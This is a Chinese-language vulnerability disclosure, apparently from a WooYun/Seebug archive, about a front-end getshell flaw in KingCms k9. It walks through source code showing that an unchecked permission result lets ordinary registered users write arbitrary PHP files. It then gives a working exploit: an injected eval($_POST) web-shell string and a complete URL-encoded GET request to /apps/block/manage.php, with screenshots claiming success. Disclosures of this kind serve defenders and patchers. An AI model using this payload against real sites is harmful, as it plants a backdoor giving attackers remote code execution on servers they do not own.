### 简要描述:
KingCms最新版前台又GetShell
### 详细说明:
朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520)
只需要普通用户就可以完成getshell
问题出在这里:/apps/block/manage.php
```
function _edit(){
$u=new user;$u->auth_role('block_edit');
if(empty($_POST['name'])) kc_tip('碎片名称不能为空!','form');
if(!kc_validate($_POST['name'],'/^[a-z0-9\_]+$/')) kc_tip('碎片名称只能由小写字母、数字和下划线组成!','form');
$path=ROOT.T.'block/';
if(empty($_POST['name_old'])){
if(is_file($path.$_POST['name'])) kc_tip('已经存在同名的碎片!','form');
}elseif(is_file($path.$_POST['name'] && $_POST['name']!=$_POST['name_old'])){
kc_tip('已经存在同名的碎片!','form');
}
$s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text'];//注释2
$file=new file;
$file->put(T.'block/'.$_POST['name'].'.php',$s);
kc_ajax(array('JS'=>"go('{$_POST['HTTP_REFERER']}')"));
}
```
这里有个权限验证$u->auth_role('block_edit'); ,我们去看看
```
public function auth_role($level=0,$is=false){
if(empty($level)) return $this->info['islogin'];
if($level==1 && !$this->info['islogin']) return $is ? false :kc_tip('请先登录!','form');
//exit($this->info['islogin'].'ccc');
if($is==true && strpos($level,'_deny')) return false;
global $db;
$res_rids=$db->getRows_two('%s_user_role_bind','rid','removedate','userid='.$this->info['userid']);
if(empty($res_rids)) return false;//注释1:如果没有权限,返回false
$rids=array_keys($res_rids);
$rs=$db->getRows_two('%s_user_role_auth','auth','id','rid in ('.implode(',',$rids).')');
/*
$rs=$db->getRows_join('%s_user_role_auth','%s_user_role_bind','auth','rid','rid','t2.userid='.$this->info['userid'].' and t1.auth=\''.$level.'\'');
*/
if(!empty($rs['admin'])) return true;
//if(empty($rs[$level])) return $is ? false : kc_tip('您无权访问当前页!','form');
return empty($rs[$level]) ? ($is ? false : kc_tip('您无权访问当前页!','form')) : true;
}
```
看上面代码“注释1”处,如果用户没有相应的权限就返回false,但是在上面的第一段代码中,并没有判断是不是返回false啊,也没有exit(),也就是说返回true和返回false是一样的,没有判断,程序继续向下执行啊。注册的会员都可以操作这里。
再看第一段代码的注释2处,直接把$_POST['notes']的内容进行了拼接,然后调用了$file->put(),跟进
```
function put($filename,$s,$is=false){
$filename=$this->encode($filename,1);
$this->md(dirname($filename));//创建目录
//去掉bom
if(substr($s,0,3)==pack("CCC",0xef,0xbb,0xbf)){
$s=substr($s,3);
}
//exit($filename);
if( file_put_contents(ROOT.$filename,$s,LOCK_EX) !== false ) {//写入成功
return true;
}else{//写入失败
if($is){
kc_tip('文件写入失败!<br/>'.$filename);
}
}
}
```
仅对文件的名字调用了自定义的encode方法处理,对于写入文章的内容没有处理,这里是这样拼接的
```
$s='<?php /**'.$_POST['notes'].'**/ ?><?php !defined(\'INC\') && exit("Illegal request!");?>'.$_POST['text'];
```
因此,$_POST['notes']的内容应该为:/?><?php eval($_POST["p"]);/,然后URL编码即可。
Payload:get提交,普通权限的用户即可操作
```
GET /apps/block/manage.php?jsoncallback=1&_=1&CMD=edit&METHOD=POST&id=&AJAX=1&name=test¬es=%2f%3f%3e%3c%3fphp+eval(%24_POST%5b%22p%22%5d)%3b%2f
```
提交过程如下图
[<img src="https://images.seebug.org/upload/201503/22212802d04fd805dc67ab6bd22aa54d1c00c29e.jpg" alt="过程副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/22212802d04fd805dc67ab6bd22aa54d1c00c29e.jpg)
测试之
[<img src="https://images.seebug.org/upload/201503/22212818d00ec8cf4bad4c1789692e2cd06f7cc3.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/22212818d00ec8cf4bad4c1789692e2cd06f7cc3.jpg)
### 漏洞证明:
见 详细说明
暂无评论